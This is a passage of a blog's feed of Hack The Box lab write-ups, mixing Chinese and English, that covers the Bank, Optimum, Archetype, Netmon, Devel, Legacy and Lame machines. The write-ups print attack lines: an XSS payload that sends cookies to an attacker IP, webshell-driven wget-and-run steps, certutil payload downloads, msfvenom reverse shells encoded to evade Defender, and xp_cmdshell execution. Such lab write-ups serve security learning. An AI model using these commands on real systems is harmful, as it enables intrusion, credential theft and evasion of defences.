&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;發現有一個檔案大小只有257&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7eda8-0ULnHZx.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bcc99-5hXHTeB.png"&gt;觀察檔案內容- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5c29b-f2WgmUU.png"&gt;&lt;/li&gt;
&lt;li&gt;取得帳密&lt;code&gt;chris@bank.htb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!##HTBB4nkP4ssw0rd!##&lt;/code&gt;順利登入- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4ff67-qBwubSL.png"&gt;又回到 &lt;code&gt;support.php&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/90067-vCvpvvA.png"&gt;測各種副檔名繞過- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/80951-rVUJA4g.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;s.php%00.jpg&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;s.php\x00.jpg&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;都失敗測 XSS- &lt;code&gt;new Image().src=&amp;quot;http://10.10.16.35:1234/&amp;quot;+document.cookie&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c9451-9IC6lyA.png"&gt;&lt;/li&gt;
&lt;li&gt;成功檢查註解- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c7fd0-vbvc1Al.png"&gt;&lt;/li&gt;
&lt;li&gt;發現可以用 &lt;code&gt;.htb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d6575-OVhx9q9.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3593c-afIjbXp.png"&gt;成功上傳 Webshell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1b4e3-PRCVt4b.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="執行-reverse-shell"&gt;執行 Reverse shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bank.htb/uploads/s.htb?A=wget 10.10.16.35:8000/s_HTB&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://bank.htb/uploads/s.htb?A=bash%20s_HTB&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/95444-CgDYY32.png"&gt;&lt;/li&gt;
&lt;li&gt;spawn&lt;code&gt;python -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Kernel Version&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/875cb-pSMl7YV.png"&gt;有奇怪的 SUID 程式- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6c267-CyjdJ1n.png"&gt;直接執行- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7364a-GBxNHv0.png"&gt;&lt;/li&gt;
&lt;li&gt;就 Root shell ㄌ取得 Flag- Root&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bf045-gjxhnw5.png"&gt;User- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4b60b-oknOIgq.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="嘗試不登入傳-shell"&gt;嘗試不登入傳 shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;先隨便傳&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/364e7-r4Ga6HL.png"&gt;Burp 改副檔名 &lt;code&gt;.htb&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ed94a-lHtWkqM.png"&gt;上傳成功- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/92fae-udGq3Oz.png"&gt;&lt;/li&gt;
&lt;li&gt;所以取得密碼的那一段根本不用做就可以結束ㄌ= =&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="學到了"&gt;學到了&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;php 副檔名方法&lt;/li&gt;
&lt;li&gt;注意註解 QQ&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Optimum (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/09/optimum-hack-the-box-writeup/</link><pubDate>Thu, 09 Sep 2021 14:03:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/09/optimum-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/6"&gt;https://app.hackthebox.eu/machines/6&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.209.84&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="information-gathering"&gt;Information Gathering&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c97d5-UWeIeq2.png"&gt;觀察 80 port- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4de52-vSG54Vi.png"&gt;&lt;/li&gt;
&lt;li&gt;HFS 2.3&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="尋找-exploit"&gt;尋找 Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;找到https://www.exploit-db.com/exploits/39161&lt;/li&gt;
&lt;li&gt;需要準備 nc&lt;code&gt;wget https://github.com/int0x33/nc.exe/raw/master/nc.exe&lt;/code&gt;依照需求開 http server- &lt;code&gt;python3 -m http.server 80&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;放 nc執行腳本- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a3824-Tkxg89o.png"&gt;收到 Reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8fe76-zBLykaz.png"&gt;取得 User flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/70c79-842n5hz.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;systeminfo&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f0420-KiIGzft.png"&gt;載豌豆- &lt;code&gt;certutil -urlcache -f http://10.10.16.35:8000/winPEASx64.exe winpeas.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/db2f4-QOVBLpk.png"&gt;執行豌豆- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d1fc6-PjUZ8cP.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bd303-dUHgWW1.png"&gt;&lt;/li&gt;
&lt;li&gt;看到帳密&lt;code&gt;kostas&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kdeEjDowkS*&lt;/code&gt;使用 Windows-Exploit-Suggester- &lt;a href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester"&gt;https://github.com/AonCyberLabs/Windows-Exploit-Suggester&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;需要先裝指定版本的 xlrd&lt;code&gt;pip install xlrd==1.2.0``./windows-exploit-suggester.py --update&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/929de-GwV0ET6.png"&gt;- 尋找推薦的 Exploit　腳本嘗試 MS16-032- &lt;code&gt;wget https://www.exploit-db.com/download/39719 -O Invoke-MS16-032.ps1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e5bb1-RVDEYto.png"&gt;&lt;/li&gt;
&lt;li&gt;載腳本&lt;code&gt;certutil -urlcache -f http://10.10.16.35/Invoke-MS16-032.ps1 Invoke-MS16-032.ps1&lt;/code&gt;失敗- &lt;a href="https://evi1cg.me/archives/MS16-032-Windows-Privilege-Escalation.html"&gt;https://evi1cg.me/archives/MS16-032-Windows-Privilege-Escalation.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;看起來因為他是給 GUI 用的，需要彈出額外視窗嘗試 MS16-098- &lt;a href="https://github.com/sensepost/ms16-098"&gt;https://github.com/sensepost/ms16-098&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;載下來執行&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/baf5e-f9wRh6B.png"&gt;&lt;/li&gt;
&lt;li&gt;成功取得 System Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b1504-OMCDFZi.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Archetype (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/09/archetype-hack-the-box-writeup/</link><pubDate>Thu, 09 Sep 2021 13:35:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/09/archetype-hack-the-box-writeup/</guid><description>&lt;h2 id="掃-port"&gt;掃 Port&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rustscan -a 10.10.10.27 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/98414-6PRRYI7.png"&gt;nmap 繼續掃- &lt;code&gt;nmap -A -p135,139,445,5985,47001,49664,49665,49666,49667,49669,49668 10.10.10.27&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a02c9-POqdmAS.png"&gt;&lt;/li&gt;
&lt;li&gt;一堆的 RPC&lt;/li&gt;
&lt;li&gt;SMB&lt;/li&gt;
&lt;li&gt;1433 是 MSSQL&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="smb"&gt;SMB&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SMB 匿名登入&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8f1b0-Vg6LtQ4.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 &lt;code&gt;backups&lt;/code&gt;backups 資料夾- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5659a-0Dvwki0.png"&gt;一個 Config 載下來&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/36002-bnrHBxW.png"&gt;取得密碼資訊- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/81a88-fMJGZxe.png"&gt;&lt;/li&gt;
&lt;li&gt;Host Name : &lt;code&gt;ARCHETYPE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;User ID : &lt;code&gt;sql_svc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Password : &lt;code&gt;M3g4c0rp123&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="mssql"&gt;MSSQL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;安裝 impacket&lt;code&gt;sudo apt install python3-impacket``impacket-mssqlclient -p 1433 sql_svc@10.10.10.27 -windows-auth&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3d241-nGRTDxW.png"&gt;MSSQL 取得 Shell 就有機會可以 RCE- &lt;code&gt;exec xp_cmdshell '{指令}'``systeminfo&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e183b-WkKnCCm.png"&gt;&lt;code&gt;dir&lt;/code&gt;- &lt;code&gt;exec xp_cmdshell 'dir'&lt;/code&gt;透過開啟本地 smb- &lt;code&gt;impacket-smbserver meow .&lt;/code&gt;準備 Reverse shell- &lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.16 LPORT=7877 -e x86/shikata_ga_nai -f exe &amp;gt; shell.exe&lt;/code&gt;經測試，不掛 &lt;code&gt;x86/shikata_ga_nai&lt;/code&gt; 就會被 Defender 吃掉&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="shell"&gt;Shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;執行 Shell&lt;code&gt;exec xp_cmdshell '\\10.10.16.16\meow\shell.exe'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/61034-RpWsOBY.png"&gt;收回 Reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c45bf-AMKdllY.png"&gt;取得 User Flag&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Netmon (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/08/netmon-hack-the-box-writeup/</link><pubDate>Wed, 08 Sep 2021 14:02:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/08/netmon-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/Netmon"&gt;https://app.hackthebox.eu/machines/Netmon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.210.193&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rustscan&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Open 10.129.210.193:80
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Open 10.129.210.193:135
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Open 10.129.210.193:139
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Open 10.129.210.193:445
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Open 10.129.210.193:5985
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;nmap&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2e8d4-u3hdM2g.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/29500-T90oc8o.png"&gt;FTP- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/30b5e-9s6meyF.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/25cf0-8q3qqmk.png"&gt;Web- appVersion&amp;rsquo;:&amp;lsquo;18.1.37.13946&amp;rsquo;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5e7d3-F8Bbaii.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/wildkindcc/CVE-2018-9276"&gt;https://github.com/wildkindcc/CVE-2018-9276&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/chcx/PRTG-Network-Monitor-RCE"&gt;https://github.com/chcx/PRTG-Network-Monitor-RCE&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ftp"&gt;FTP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c589e-D82BbiD.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c6815-DXZXqWq.png"&gt;&lt;/li&gt;
&lt;li&gt;Try Exploithttps://github.com/chcx/PRTG-Network-Monitor-RCE&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e9f44-JXCuntx.png"&gt;&lt;/li&gt;
&lt;li&gt;需要登入才能用，所以我們需要找帳密QQ從官網發現 Log 跟 Config 存在 &lt;code&gt;/ProgramData/Paessler&lt;/code&gt;- &lt;code&gt;wget -r ftp://10.129.210.193/ProgramData/Paessler&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;整包載下來&lt;code&gt;grep password */* | less&lt;/code&gt;- 發現 &lt;code&gt;PRTG Configuration.dat&lt;/code&gt; 很可疑&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/18b98-aYorBkq.png"&gt;看到相關的檔案有以下幾個- &lt;code&gt;PRTG Configuration.old.bak&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PRTG Configuration.dat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PRTG Configuration.old&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Configuration Auto-Backups/*``PRTG Configuration.old.bak&lt;/code&gt; 應該最可疑- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9a503-5ElS4Za.png"&gt;&lt;/li&gt;
&lt;li&gt;看到帳密&lt;code&gt;prtgadmin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PrTg@dmin2018&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但登入失敗通靈把密碼改 &lt;code&gt;2019&lt;/code&gt;- &lt;code&gt;prtgadmin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PrTg@dmin2019&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;登入成功&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/27bae-QzgPzeh.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/wildkindcc/CVE-2018-9276%60python"&gt;https://github.com/wildkindcc/CVE-2018-9276`python&lt;/a&gt; CVE-2018-9276.py -i 10.129.210.202 -p 80 &amp;ndash;lhost 10.10.16.35 &amp;ndash;lport 7877 &amp;ndash;user prtgadmin &amp;ndash;password PrTg@dmin2019`&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cd3cc-50J42zh.png"&gt;確定權限- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c96f0-abehEpS.png"&gt;取得 Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39f9a-k4rFH3h.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="學到了"&gt;學到了&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;FTP 記得 ls -al 避免隱藏檔案&lt;/li&gt;
&lt;li&gt;密碼可以試試看猜規則 QQ年分之類的&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Devel (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/08/devel-hack-the-box-writeup/</link><pubDate>Wed, 08 Sep 2021 13:53:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/08/devel-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/3"&gt;https://app.hackthebox.eu/machines/3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : &lt;code&gt;10.129.208.183&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="information-gathering"&gt;Information Gathering&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Port Scan&lt;code&gt;rustscan -a 10.129.208.183 -r 1-65535&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;21 : FTP&lt;/li&gt;
&lt;li&gt;80 : Web&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ftp-services"&gt;FTP Services&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Try to connect to ftp&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c395d-NlEyGJA.png"&gt;Use Aspx Web shell- &lt;a href="https://raw.githubusercontent.com/SecWiki/WebShell-2/master/Aspx/awen%20asp.net%20webshell.aspx"&gt;https://raw.githubusercontent.com/SecWiki/WebShell-2/master/Aspx/awen%20asp.net%20webshell.aspx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d1764-kQiXZnv.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="web-shell"&gt;Web Shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39c7e-lTQfQ5B.png"&gt;&lt;/li&gt;
&lt;li&gt;Install Reverse ShellASPX Reverse shell&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx"&gt;https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="reverse-shell"&gt;Reverse shell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/eae34-QUwHk42.png"&gt;&lt;/li&gt;
&lt;li&gt;Check System Info&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/94660-X0rmprC.png"&gt;user : &lt;code&gt;iis apppool\web&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c87ff-MVFpkLO.png"&gt;- System : Win 7 x64 6.1.7600 N/A Build 7600&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8c5ae-8coNqal.png"&gt;- Check Environment Variable&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="privilege-escalation"&gt;Privilege Escalation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;With OS Version&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a4011-9jBTj6Z.png"&gt;Exploit : MS11-046 Kernel Exploits- &lt;a href="https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046Download"&gt;https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046Download&lt;/a&gt; Exploit file to target machine- &lt;code&gt;certutil -urlcache -f http://10.10.16.35:8000/ms11-046.exe ms11-046.exe&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/df580-lTEY1uw.png"&gt;Run binary- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ca2e3-QnsjTtY.png"&gt;&lt;/li&gt;
&lt;li&gt;Get SystemUser Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4714e-WVxjMQC.png"&gt;Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/db68e-chjisN8.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Legacy (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/05/legacy-hack-the-box-writeup/</link><pubDate>Sun, 05 Sep 2021 14:00:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/05/legacy-hack-the-box-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/2"&gt;https://app.hackthebox.eu/machines/2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.10.4&lt;/p&gt;
&lt;h2 id="info-gathering"&gt;Info gathering&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;nmap scan port&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b01ed-XUUOml1.png"&gt;enum4linux check version- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bbb86-94iDB0t.png"&gt;nmap check smb version- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/97190-USUyLZ0.png"&gt;So… we know that- Domain name : &lt;code&gt;HTB&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;OS : &lt;code&gt;Windows XP&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Open Services : &lt;code&gt;SMB&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="find-exploit"&gt;Find Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Google&lt;code&gt;XP SMB Exploit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/helviojunior/MS17-010"&gt;https://github.com/helviojunior/MS17-010&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;MS17-010Prepare reverse shell exe file- &lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7879 -f exe &amp;gt; shell_reverse_tcp&lt;/code&gt;Run exploit- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4d4fe-C3wQcO3.png"&gt;Get reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5982f-HYhpAYv.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="flag"&gt;Flag&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Root Flag&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9320a-9eqbJAU.png"&gt;User Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cce4d-5db36Pf.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Lame (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/05/lame-hack-the-box-writeup/</link><pubDate>Sun, 05 Sep 2021 13:59:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/05/lame-hack-the-box-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/Lame"&gt;https://app.hackthebox.eu/machines/Lame&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.129.197.50&lt;/p&gt;
&lt;h2 id="info-gathering"&gt;Info gathering&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Port Scanning&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3a51c-aqhaBG8.png"&gt;21,22,139,445,3632&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/188e9-4nP95qL.png"&gt;- Anonymous FTP&lt;/li&gt;
&lt;li&gt;SMB&lt;/li&gt;
&lt;li&gt;3632 Port distccd&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="file-protocol"&gt;File Protocol&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Try anonymous login FTP&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/59c35-4SbeeBH.png"&gt;&lt;/li&gt;
&lt;li&gt;It&amp;rsquo;s emptyTry anonymous login SMB- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6da0b-tAFlRJ1.png"&gt;&lt;/li&gt;
&lt;li&gt;There are &lt;code&gt;tmp&lt;/code&gt; and &lt;code&gt;opt&lt;/code&gt; folder&lt;/li&gt;
&lt;li&gt;Access tmp folder&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/633dc-tM6RvLY.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cc75d-nfdeBLb.png"&gt;Download all file&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit-distccd"&gt;Exploit Distccd&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Distccd_rce_CVE-2004-2687https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/93f57-Q1Y4t7j.png"&gt;Run Reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3fef3-mtPM4ei.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a8f49-83ysiHm.png"&gt;Get User Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ed168-40sakTp.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="privilege-escalation"&gt;Privilege escalation&lt;/h2&gt;
&lt;ul&gt;
